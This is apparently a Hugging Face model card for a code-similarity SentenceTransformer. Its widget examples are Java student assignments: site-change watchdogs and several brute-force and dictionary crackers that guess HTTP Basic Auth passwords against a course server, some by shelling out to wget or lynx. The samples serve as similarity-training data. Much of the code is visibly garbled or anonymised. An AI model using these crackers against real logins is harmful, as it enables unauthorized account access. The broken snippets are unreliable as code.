buelfhood's picture
Add new SentenceTransformer model
8cd1ac2 verified
metadata
tags:
  - sentence-transformers
  - sentence-similarity
  - feature-extraction
  - generated_from_trainer
  - dataset_size:33411
  - loss:BatchAllTripletLoss
base_model: huggingface/CodeBERTa-small-v1
widget:
  - source_sentence: |



      public class PasswordGen {
          
          private int iLastSeed = 0;
          private int iPasswordLength = 3;
          private String strPassword;
          
          
          public PasswordGen() {
              strPassword = "";
          }
          
          public boolean setSeed(int iSeedVal) {
              iLastSeed = iSeedVal;
              return true;
          }
          
          public String getPassword() {
              return strPassword;
          }
          
          public String getPassword(int iSeed) {
              int iRemainder, iAliquot, i;
              int arrChars[];
              boolean fDone;
              
              
              
              arrChars = new int[iPasswordLength];
              for(i = 0; i<iPasswordLength; i++)
                      arrChars[i] = 0;

              fDone = false;
              iAliquot = iSeed;
              i=0;
              while(!fDone) {
                  iRemainder = iAliquot % 52;
                  if(iRemainder == 0) iRemainder=52;
                  iAliquot = iAliquot / 52;
                  
                  arrChars[i] = iRemainder;
                  if(i<iPasswordLength) i++;
                  if(iAliquot == 0)
                      fDone = true;
              }
              
              strPassword = convertPassword(arrChars);
              
              return strPassword;
          }
          
          public String getNextPassword() {
              iLastSeed++;
              strPassword = getPassword(iLastSeed);
              return strPassword;
          }
       
          private String convertPassword(int[] chars) {
              String strPwd;
              int i;
              
              strPwd = "";
              
              for(i=0; i<iPasswordLength; i++)
              {
                  
                  if(chars[i] != 0)
                  {
                      if (chars[i] < 27)
                      {
                          strPwd += new Character((char)(chars[i]+64)).toString();
                      }
                      else
                      {
                          strPwd += new Character((char)(chars[i]+70)).toString();
                      }
                  }
              }
              return strPwd;
          }
      }
    sentences:
      - |-
        import java.io.*;


        public class WatchDog
        {
        public static void main (String[] args)
        {       String isdiff = new String();
                String[] cmd1 = {"//sh","-c","diff newfile.html oldfile.html > diff.txt"};
                String[] cmd2 = {"//sh","-c","mailx -s \"Web  Changed\" \"@cs.rmit.edu.\" < diff.txt"};

                try {


                   while(true)
                   {
                      Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
                      Thread.sleep(43200000);
                      Thread.sleep(43200000);
                      Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
                      Thread.sleep(2000);
                      Runtime.getRuntime().exec(cmd1);
                      Thread.sleep(2000);
                      BufferedReader diff = new BufferedReader(new FileReader("diff.txt"));
                      if ((isdiff=diff.readLine()) != null)
                      {
                         Runtime.getRuntime().exec(cmd2);
                         System.out.println("Change Detected & Email Send");
                      }
                      diff.print();
                   }
                }

                catch (IOException err)
                {
                 err.printStackTrace();
                }

                 catch (InterruptedException err)
                {
                 err.printStackTrace();
                }

        }


        }
      - "import java.io.*;\nimport java.net.*;\nimport java.util.*;\nimport java.*;\n\n\npublic class WatchDog {\n\n\npublic static final int interval = 79200000;\n\npublic static void main(String[] args) {\n    WatchDog wd = new WatchDog();\n    Thread thread = new Thread();\n    URLConnection conn = null;\n    DataInputStream data = null;\n    DataInputStream in = null;\n    String line;\n    String lines;\n    String buffer = new String();\n    String buffers = new String();\n    String url = new String(\"http://www.cs.rmit.edu./students/\");\n    boolean change;\n\ttry{\n\tURL myurl = new URL(url);\n        conn = myurl.openConnection();\n        conn.connect();\n        Object content = null;\n        \n        System.out.println(\"Connection opened......\");\n        System.out.println(\"Retrieving data from URL\");\n        data = new DataInputStream(new BufferedInputStream(conn.getInputStream()));\n        System.out.println(\" data from the URL......\");\n        content = myurl.getContent();\n        BufferedReader reader = null;\n\treader = new BufferedReader(new InputStreamReader((InputStream) content));\n\n        \n        while ((line = data.readLine()) != null)\n\n        {\n         System.out.println(line);\n         FileWriter outnew = new FileWriter(\"watchdogresult.html\");\n         outnew.write(line);\n        }\n        System.out.println(\"Waiting for any change....\");\n        thread.sleep(79200000);\n        conn = myurl.openConnection();\n        conn.connect();\n        in = new DataInputStream(new BufferedInputStream(conn.getInputStream()));\n        while ((lines = in.readLine()) != null)\n        {\n\n\t FileWriter newf = new FileWriter(\"watchdogresult.tmp\");\n         newf.write(buffers);\n        }\n\tchange = true;\n        if(change);\n        else{\n\tchange = false;\n        \n\twd.mail();\n\t}\n}\n catch (InterruptedException e) {}\n  catch (IOException e) {\n    e.printStackTrace();\n    String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println(\"Message :\" +r);\n    }\n     else\n     System.out.println(\"Other problems\");\n    }\n }\n\n\npublic void mail(){\n\n      try {\n\n      String from = new String(\"Watchdog Reporter\");\n      String email = new String(\"@cs.rmit.edu.\");\n      String subject = new String(\" is a change in \");\n\n      \n      URL u = new URL(\"mailto:\" + email);\n      URLConnection c = u.openConnection();\n      c.setDoInput(false);\n      c.setDoOutput(true);\n      System.out.println(\"Connecting...\");\n      System.out.flush();\n      c.connect();\n      PrintWriter out =\n        new PrintWriter(new OutputStreamWriter(c.getOutputStream()));\n\n      \n      out.println(\"From: \\\"\" + from + \"\\\" <\" +\n                  System.getProperty(\"user.name\") + \"@\" +\n                  InetAddress.getLocalHost().getHostName() + \">\");\n      out.println(\": \"  );\n      out.println(\"Subject: \" + subject);\n      out.println();  \n\n      \n      String line = new String(\"Watchdog observe that  is a change in the web  .\");\n      out.close();\n      System.out.println(\"Message sent.\");\n      System.out.flush();\n    }\n    catch (Exception e) {\n      System.err.println(e);\n      }\n\n  }\n\n}\n\n"
      - "\n\nimport java.io.BufferedReader;\nimport java.io.FileReader;\n\nimport org.apache.commons.httpclient.HttpClient;\nimport org.apache.commons.httpclient.UsernamePasswordCredentials;\nimport org.apache.commons.httpclient.cookie.CookiePolicy;\nimport org.apache.commons.httpclient.methods.GetMethod;\n\n\n\n\npublic class  Dictionary{\n    static final String LOGON_SITE_HACKER = DictionaryPropertyHelper.getProperty(\"logonSite\");\n    static final int    LOGON_PORT_HACKER = Integer.valueOf(DictionaryPropertyHelper.getProperty(\"logonPort\")).intValue();\n\tstatic final String cad = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklumnopqrstuvwxyz\";\n\n    static final int    USE_PROXY_SERVER  = Integer.valueOf(DictionaryPropertyHelper.getProperty(\"useProxyServer\")).intValue();\n    static final int    PROXY_PORT        = Integer.valueOf(DictionaryPropertyHelper.getProperty(\"proxyPort\")).intValue();\n\n    static final String PROXY_SERVER      = DictionaryPropertyHelper.getProperty(\"proxyServer\");\n    static final String PROXY_USENAME     = DictionaryPropertyHelper.getProperty(\"proxyUserName\");\n    static final String PROXY_PASSWORD    = DictionaryPropertyHelper.getProperty(\"proxypassword\");\n\n\n\n    static final String GET_METHOD_HACKER = DictionaryPropertyHelper.getProperty(\"getMethod\");\n    static final int    NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(DictionaryPropertyHelper.getProperty(\"numberOfGetsBeforeReleaseConnection\")).intValue();\n\n\n    public Dictionary() {\n        super();\n    }\n\n\n\n\n\n    public static void main(String[] args) throws Exception {\n\n\t\tString statusLine = \" \";\n\t\tint count = 0;\n\t\tint divValue = 0;\n\n\t\tString userName = \"\";\n\t\tString password = \"\";\n\n\n        HttpClient client = new HttpClient();\n\n        if (USE_PROXY_SERVER == 1) {\n  \t\t\tclient.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT);\n  \t\t\tclient.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME, PROXY_PASSWORD));\n\n        }\n        client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY);\n        client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER, \"http\");\n        GetMethod getMethod = new GetMethod(GET_METHOD_HACKER);\n\n\n\n\t\t\n    \tBufferedReader wordFile = new BufferedReader(new FileReader(DictionaryPropertyHelper.getProperty(\"dictionaryFile\")));\n\n\t\twhile ((password = wordFile.readLine()) != null) {\n\n\n\t\t\tif (validateWord(password)) {\n\n\t\t\t\tclient.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password));\n\t\t\t\t++count;\n\t\t\t\tSystem.out.println(\" Counter \" + count + \" Password \" + password);\n\n\t\t\t\tdivValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;\n\n\t\t\t\tif (divValue == 0) {\n\n\n\n\t\t\t\t\tSystem.out.println(\"Count: \"+ count + \" Div Value: \"+ divValue+ \" Releasing the connection and getting new one\");\n\t\t\t\t\tgetMethod.releaseConnection();\n\t\t\t\t\tgetMethod = null;\n\t\t\t\t\tgetMethod = new GetMethod(GET_METHOD_HACKER);\n\n\t\t\t\t}\n\n\t\t        client.executeMethod(getMethod);\n\n\t\t        statusLine = getMethod.getStatusLine().toString();\n\n\n\t\t\t\t\n\t\t\t\t\n\n\t\t\t\tif (statusLine.compareTo(\"HTTP/1.1 200 OK\") == 0) {\n\n\n\t\t\t\t\tSystem.out.println(\"Found the user name and password for the site. The username is: \"+ userName+ \" and the password is: \"+ password);\n\n\n\t\t\t\t\tSystem.exit(0);\n\t\t\t\t}\n\n\n\t\t\t}\n\n\t\t}\n\n\t\tSystem.out.println(\"Could not find the password!\");\n\n    }\n\n\n\n\t\n\tpublic static boolean validateWord(String str) {\n\n\t\n\n\n\t\tboolean isValid = false;\n\n\t\t\n\t\tif (str.length() > 3) {\n\t\t\treturn isValid;\n\t\t}\n\n\t\tfor (int i = 0; i < str.length(); i++) {\n\t\t\tfor (int j = 0; j < cad.length(); j++) {\n\t\t\t\tif (str.charAt(i) == cad.charAt(j)) {\n\t\t\t\t\tisValid = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tisValid = false;\n\t\t\t}\n\t\t\tif (!isValid)\n\t\t\t\tbreak;\n\t\t}\n\t\treturn isValid;\n\t}\n\n\n}\n"
  - source_sentence: "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class MyWatchDogTimer extends TimerTask\n{\n\tpublic void run()\n\t{\n\t  Runtime rt = Runtime.getRuntime();\n\t  Process prss= null;\n\t  String initialmd5,presentmd5,finalmd5,temp1;\n          String mesg1 = new String();\n          String subject = new String(\"Report of WatchDog\");\n\n\t  int i;\n          \n\t  try\n          {\n\n              prss = rt.exec(\"md5sum first.html\");\n\n              InputStreamReader instre1 = new InputStreamReader(prss.getInputStream());\n              BufferedReader bufread1 = new BufferedReader(instre1);\n\t\t    \n             sw  = bufread1.readLine();\n\t      i = finalmd5.indexOf(' ');\n\t      initialmd5 = finalmd5.substring(0,i);\n\t      System.out.println(\"this is of first.html--->\"+initialmd5);\n\t\t    \n\n\t\t    \n              prss = rt.exec(\"wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/\");\n\n\t\t    \n              prss = rt.exec(\"md5sum present.html\");\n\t\t    \n              InputStreamReader instre2 = new InputStreamReader(prss.getInputStream());\n              BufferedReader bufread2 = new BufferedReader(instre2);\n\t\t    \n\t      temp1 = bufread2.readLine();\n\t      i = temp1.indexOf(' ');\n\t      presentmd5 = temp1.substring(0,i);\n\t      System.out.println(\"this is of present.html---->\"+presentmd5);\n\t\t\n    \n                 if(initialmd5.equals(presentmd5))\n                     System.out.println(\"The checksum found using md5sum is same\");\n\t\t else\n\t\t    {\n\t\t      prss = rt.exec(\"diff first.html present.html > diff.html\");\n                      System.out.println(\" is different\"); \n                      prss = null;\n                  mesg1 =\"php mail.php\";\n\t\t      prss = rt.exec(mesg1);\n\t\t    }   \n\n                   prss = rt.exec(\"rm present.*\");\n\n    \t     }catch(java.io.IOException e){}\n\n        }\n}\t\t\n"
    sentences:
      - "import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader(\"words\");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(\" cracking....\");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = \"wget --http-user= --http-passwd=\"+word +\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith(\"Required\"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println(\"The password is :\" + word);\n        else\n            System.out.println(\"NOT FOUND!\");\n\t}\n}"
      - "\n\nimport java.net.*;\nimport java.io.*;\n\t\n\nclass MyAuthenticator  extends Authenticator {\n\n   String password;\n\n   public MyAuthenticator(String pwdin) {\n       password = pwdin;\n   }\n      \n   protected PasswordAuthentication getPasswordAuthentication(){\n\tString  pwd = password;\n\treturn new PasswordAuthentication(\"\",pwd.toCharArray());\n   }\n}\n"
      - |-


        import java.net.*;
        import java.io.*;
        import java.io.IOException;
        import java.util.*;
        import java.*;


        public class BruteForce {
            public static void main (String[] args) throws Exception {
              int maxChar = 26, counter=0, x =0, attempt =0 ;
              String guess = new String();
              String pass, inputLine;
              String letter[] = {"", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o",
                                    "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" , "A", "B", "C", "D", "E"
                             , "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V",
                             "W", "X", "Y", "Z"};

                boolean flag=false;

               System.out.println(System.currentTimeMillis()/1000);

                       for (int i=0; i<maxChar ; i++){
                           for (int j=0 ; j<maxChar ; j++){
                               for (int k=0 ; k<maxChar ; k++){
                                      guess = letter[i]+letter[j]+letter[k];
                                      attempt++;
                                      System.out.println(guess);
                                      pass = ":" + guess;
                                      String password = new bf.misc.BASE64Encoder().encode(pass.getBytes());
                                      try{
                                         URL u = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
                                         URLConnection yc = u.openConnection();
                                         yc.setRequestProperty("Authorization"," "+password);
                                         BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));
                                         while ((inputLine = in.readLine()) != null)
                                                System.out.println(inputLine);
                                        in.print();
                                        System.out.println(guess);
                                        System.out.println(System.currentTimeMillis()/1000);
                                        System.out.println(" of attempt: "+attempt);
                                        System.exit(0);

                                     }catch(IOException e){ }
                              }
                          }
                       }
            }
        }
  - source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.*;\nimport java.Runtime.*;\nimport java.Object.*;\nimport java.util.*;\nimport java.util.StringTokenizer;\n\npublic class Dictionary \n{\n  String uname = \"\";\n  String pword = \"null\";\n  Vector v = new Vector();\n   int runTime;\n  public void doConnect(String connect, int num)\n  {\n    String  = connect;\n    \n    try\n     {\n       URL secureSite = new URL();\n       URLConnection connection = secureSite.openConnection();\n       if (uname != null || pword != null)\n\t  {\n\t   \n\t    for(int i=num; i<v.size(); i++)\n\t    {\n\t      pword = (String)v.elementAt(i);\n\t      String up = uname + \":\" + pword;\n            String encoding;\n            try\n\t\t{\n\t\t  connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName(\".misc.BASE64Encoder\").newInstance();\n\t\t  encoding = encoder.encode (up.getBytes());\n\t\t \n           }\n\t     catch (Exception ex) \n            {\n\t\t  Base64Converter encoder = new Base64Converter();\n\t\t  System.out.println(\"in catch\");\n              encoding = encoder.encode(up.getBytes());\n           }\n\t     connection.setRequestProperty (\"Authorization\", \" \" + encoding);\n           connection.connect();\n           if(connection instanceof HttpURLConnection)\n\t     {\n\t       HttpURLConnection httpCon=(HttpURLConnection)connection;\n             if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)\n\t\t  {\n\t\t   System.out.println(\"Not authorized - check  for details\" + \" -Incorrect Password : \" + pword);\n\t         doConnect(i, i+1);\n\t       }\n\t\telse\n\t\t { \n\t\t  System.out.println(\"\\n\\n\\nPassword for HTTP Secure Site by Dictionary Attack:\");\n\t        System.out.println( +\"\\tPassword : \"+ pword);\n\n              runTime = System.currentTimeMillis() - runTime; \n              System.out.println(\"Time taken  crack password (in seconds)\"+\" : \"+ runTime/1000+\"\\n\"+ \"Tries taken  crack password : \"+ i);\n\t        System.exit(0);\n\t      }\n\t    }\n\t  }\n      }\n    }\n    catch(Exception ex)\n    {\n      ex.printStackTrace();\n    }\n  }\n  public Vector getPassword()\n  {\n    try\n    {\n      ReadFile  rf = new ReadFile();\n      rf.loadFile();\n      v = rf.getVector();\n    }\n    catch(Exception ex)\n    {\n      ex.printStackTrace();\n    }\n    return v;\n  } \n  public void setTimeTaken( int timetaken)\n  {\n    runTime = timetaken;\n  }   \n  public static void main ( String args[] ) throws IOException \n  {\n    \n     runTime1 = System.currentTimeMillis();     \n    Dictionary newDo = new Dictionary();\n    newDo.setTimeTaken(runTime1);\n    newDo. getPassword();\n    String site = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n    newDo.doConnect(site, 0);\n    \n  }  \n  \n}\n\nclass  Base64Converter\n      {\n  \n          public final char [ ]  alphabet = {\n              'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   \n              'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   \n              'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   \n              'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   \n              'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   \n              'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   \n              'w', 'x', 'y', 'z', '0', '1', '2', '3',   \n              '4', '5', '6', '7', '8', '9', '+', '/' }; \n  \n  \n          public String  encode ( String  s )\n          {\n              return encode ( s.getBytes ( ) );\n          }\n  \n          public String  encode ( byte [ ]  octetString )\n          {\n              int  bits24;\n              int  bits6;\n  \n              char [ ]  out\n                = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];\n  \n              int outIndex = 0;\n              int i        = 0;\n  \n              while ( ( i + 3 ) <= octetString.length ) {\n                  \n                  bits24=( octetString [ i++ ] & 0xFF ) << 16;\n                  bits24 |=( octetString [ i++ ] & 0xFF ) << 8;\n  \n                  bits6=( bits24 & 0x00FC0000 )>> 18;\n                  out [ outIndex++ ] = alphabet [ bits6 ];\n                  bits6 = ( bits24 & 0x0003F000 ) >> 12;\n                  out [ outIndex++ ] = alphabet [ bits6 ];\n                  bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n                  out [ outIndex++ ] = alphabet [ bits6 ];\n                  bits6 = ( bits24 & 0x0000003F );\n                  out [ outIndex++ ] = alphabet [ bits6 ];\n              }\n  \n              if ( octetString.length - i == 2 )\n              {\n                  \n                  bits24  = ( octetString [ i     ] & 0xFF ) << 16;\n                  bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;\n                  bits6=( bits24 & 0x00FC0000 )>> 18;\n                  out [ outIndex++ ] = alphabet [ bits6 ];\n                  bits6 = ( bits24 & 0x0003F000 ) >> 12;\n                  out [ outIndex++ ] = alphabet [ bits6 ];\n                  bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n                  out [ outIndex++ ] = alphabet [ bits6 ];\n  \n                  \n                  out [ outIndex++ ] = '=';\n              }\n              else if ( octetString.length - i == 1 )\n              {\n                  \n                  bits24 = ( octetString [ i ] & 0xFF ) << 16;\n                  bits6=( bits24 & 0x00FC0000 )>> 18;\n                  out [ outIndex++ ] = alphabet [ bits6 ];\n                  bits6 = ( bits24 & 0x0003F000 ) >> 12;\n                  out [ outIndex++ ] = alphabet [ bits6 ];\n  \n                  \n                  out [ outIndex++ ] = '=';\n                  out [ outIndex++ ] = '=';\n              }\n  \n              return new String ( out );\n          }\n       }\n  \n  \n"
    sentences:
      - "\nimport java.net.*;\nimport java.*;\nimport java.io.*;\nimport java.util.GregorianCalendar;\npublic class Dictionary\n{\n\n\n\n    public void crackAddress(String fileName) throws Exception\n    {\n       String line,username=\"\",passwd,pass;\n       int flag=0,i;\n       BufferedReader bf = new BufferedReader(new FileReader(fileName));\n       Runtime run = Runtime.getRuntime();\n       GregorianCalendar =new GregorianCalendar();\n       while((passwd=bf.readLine().trim())!=null)\n       {\n           if((i=passwd.indexOf(\"\\'\"))!= -1)\n                 {\n                    passwd =passwd.substring(0,i)+(\"\\\\\")+(passwd.substring(i,passwd.length()));\n                 }\n\n          System.out.println(\"Hack password with the word:\"+passwd);\n\t      String command_line = \"lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=\"+username+\":\"+passwd+\" -dump\";\n\t      Process result = run.exec(command_line);\n          BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));\n\n        while((line=bf.readLine())!=null)\n        {\n           flag=1;\n           break;\n\n        }\n        if(flag==1)\n        {\n           System.out.println(\"The username is: \"+username+\" The password is: \"+passwd);\n           break;\n        }\n       }\n       GregorianCalendar end=new GregorianCalendar();\n       double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;\n       System.out.println(\"The attack use\"+time+\" seconds.\");\n    }\n\npublic static void main(String args[]) throws Exception\n{\n   Dictionary ds = new Dictionary();\n   ds.crackAddress(args[0]);\n}\n}"
      - "\n\nimport java.io.*;\nimport java.util.*;\nimport java.*;\n\npublic class storeNewFile\n{\n   private PrintWriter outputStream= null;\n   private String filename;\n   private FileWriter fw;\n\n   public storeNewFile(String fname)\n   {\n      try\n      {\n       filename = fname;\n       outputStream=new PrintWriter(new FileOutputStream(filename));\n      }\n      catch(FileNotFoundException e)\n      {\n\t    System.err.println(\"File \"+filename+\" was not found\");\n      }\n      catch(IOException e)\n      {\n        System.err.println(\"Error \");\n      }\n   }\n   public void getStringW(StringWriter sw)\n   {\n     outputStream.print(sw.toString());\n   }\n\n   public void closeStream()\n   {\n      outputStream.write();\n   }\n\n   public void translogFile(String result)\n   {\n     String fileName = \"TransactionLog.txt\";\n   \t try{\n\t    fw=new FileWriter(fileName,true);\n\t    fw.write(result);\n\t    fw.write('\\n');\n\t    fw.print();\n   \t    System.out.println(\"Saved sucessfully\");\n     }catch(IOException e){\n\t\tSystem.out.println(\"Error saving the file\");\n     }\n   }\n}"
      - "\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class Dictionary\n{\n public String[] passwds;\n public int passwdNum;\n public static void main(String[] args) throws IOException\n {\n  Dictionary dic=new Dictionary();\n   dic.doDictionary();\n  System.exit(1);\n }\n\n void doDictionary() throws IOException\n {\n  Runtime rt=Runtime.getRuntime();\n  passwds=new String[32768];\n  passwdNum=0;\n\n   time1=new Date().getTime();\n  \n  try\n  {\n\t\tFile f = new File (\"words\");\n\t\tFileReader fin = new FileReader (f);\n\t\tBufferedReader buf = new BufferedReader(fin);\n\t\tpasswds[0]=\"00\";\n\t\tSystem.out.println(\" loading words....\");\n\t\t\n\t\t{\n\t\t passwds[passwdNum]=buf.readLine();\n\t\t\t passwdNum++;\n\t\t}while(passwds[passwdNum-1]!=null);\n\t\tSystem.out.println(\"Finish loading words.\");\n  } catch (FileNotFoundException exc) {\n     System.out.println (\"File Not Found\");\n  } catch (IOException exc) {\n     System.out.println (\"IOException 1\");\n  } catch (NullPointerException exc) {\n\t System.out.println (\"NullPointerException\");\n  }\n\n\t System.out.println(\" cracking....\");\n\t for(int i=0;i<passwdNum;i++)\n\t {\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tProcess p=rt.exec(\"lynx -auth=:\"+passwds[i]+\" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\t\t\t\n\t\t\tString ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();\n\t\t\tp.destroy();\n\n\t\t\tif(ln!=null)\n\t\t\t\n\t\t\tif(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')\n\t\t\t{\n\t\t\t System.out.println(\"Finish cracking.\");\n\t\t\t System.out.println(ln);\n\t\t\t System.out.println(\"Password is \"+passwds[i]);\n\t\t\t break;\n\t\t\t}\n\t\t} catch (FileNotFoundException exc) {\n\t\t\t\ti--;\n\t\t} catch (IOException exc) {\n\t\t\t\ti--;\n\t\t} catch (NullPointerException exc) {\n\t\t\t\ti--;\n\t\t}\n\n\t }\n\n    time2=new Date().getTime();\n   System.out.println(\"costs \"+(time2-time1)+\" milliseconds\");\n }\n\n}"
  - source_sentence: |-
      import java.io.*;
      import java.net.*;

      public class BruteForce {
        public static void main(String[] args) {
            BruteForce brute=new BruteForce();
            brute.start();


           }


      public void start() {
      char passwd[]= new char[3];
      String password;
      String username="";
      String auth_data;
      String server_res_code;
      String required_server_res_code="200";
      int cntr=0;

      try {

      URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
      URLConnection conn=null;


                 for (int i=65;i<=122;i++)     {
                     if(i==91) { i=i+6; }
                     passwd[0]= (char) i;

                 for (int j=65;j<=122;j++)     {
                    if(j==91) { j=j+6; }
                    passwd[1]=(char) j;

                  for (int k=65;k<=122;k++)    {
                      if(k==91) { k=k+6; }
                      passwd[2]=(char) k;
                      password=new String(passwd);
                      password=password.trim();
                      auth_data=null;
                      auth_data=username + ":" + password;
                      auth_data=auth_data.trim();
                      auth_data=getBasicAuthData(auth_data);
                      auth_data=auth_data.trim();
                      conn=url.openConnection();
                      conn.setDoInput (true);
                      conn.setDoOutput(true);
                      conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");
                      conn.setRequestProperty ("Authorization", auth_data);
                      server_res_code=conn.getHeaderField(0);
                      server_res_code=server_res_code.substring(9,12);
                      server_res_code.trim();
                      cntr++;
                      System.out.println(cntr + " . " + "PASSWORD SEND : " + password + "  SERVER RESPONSE  : " + server_res_code);
                      if( server_res_code.compareTo(required_server_res_code)==0 )
                      {System.out.println("PASSWORD IS :  " + password + "  SERVER RESPONSE  : " + server_res_code );
                      i=j=k=123;}
                                                 }

                                              }

                                          }
              }
           catch (Exception e) {
                 System.err.print(e);
                 }
        }

      public String getBasicAuthData (String getauthdata)    {

      char base64Array [] = {
            'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
            'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
            'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
            'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
            'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
            'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
            'w', 'x', 'y', 'z', '0', '1', '2', '3',
            '4', '5', '6', '7', '8', '9', '+', '/' } ;

          String encodedString = "";
          byte bytes [] = getauthdata.getBytes ();
          int i = 0;
          int pad = 0;
          while (i < bytes.length) {
            byte b1 = bytes [i++];
            byte b2;
            byte b3;
            if (i >= bytes.length) {
               b2 = 0;
               b3 = 0;
               pad = 2;
               }
            else {
               b2 = bytes [i++];
               if (i >= bytes.length) {
                  b3 = 0;
                  pad = 1;
                  }
               else
                  b3 = bytes [i++];
               }
            byte c1 = (byte)(b1 >> 2);
            byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
            byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
            byte c4 = (byte)(b3 & 0x3f);
            encodedString += base64Array [c1];
            encodedString += base64Array [c2];
            switch (pad) {
              case 0:
               encodedString += base64Array [c3];
               encodedString += base64Array [c4];
               break;
              case 1:
               encodedString += base64Array [c3];
               encodedString += "=";
               break;
              case 2:
               encodedString += "==";
               break;
             }
            }
            return " " + encodedString;
        }
      }
    sentences:
      - |
        import java.net.*;
        import java.io.*;
        import java.util.*;

        public class Dictionary {

           public static void main(String[] args) {
              new CrackAttempt();
           }
        }

        class CrackAttempt {
           public CrackAttempt() {
              final int MAX_LENGTH = 3;
              boolean auth = false;
              Date  = new Date();
              String file = "/usr/share/lib/dict/words";
              String word;
              char[] password = new char[MAX_LENGTH];
              String resource = "http://sec-crack.cs.rmit.edu./SEC/2/";

              while (!auth) {
                 
                 BufferedReader in = null;
                 try {
                    
                    in = new BufferedReader(new FileReader(file));
                    while ((word = in.readLine()) != null && !auth) {
                       try {
                          if (word.length() <= MAX_LENGTH) {
                             password = word.toCharArray();
                             
                             Authenticator.setDefault(new CrackAuth(password));
                             URL url = new URL(resource);
                             HttpURLConnection conn = (HttpURLConnection)url.openConnection();
                             conn.setRequestMethod("HEAD");
                             if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
                                System.out.println("cracked with " + new String(password));
                                auth = true;
                             }
                          }
                       } catch (Exception e) {
                          System.out.println(" was  exception: " + e.getMessage());
                       }
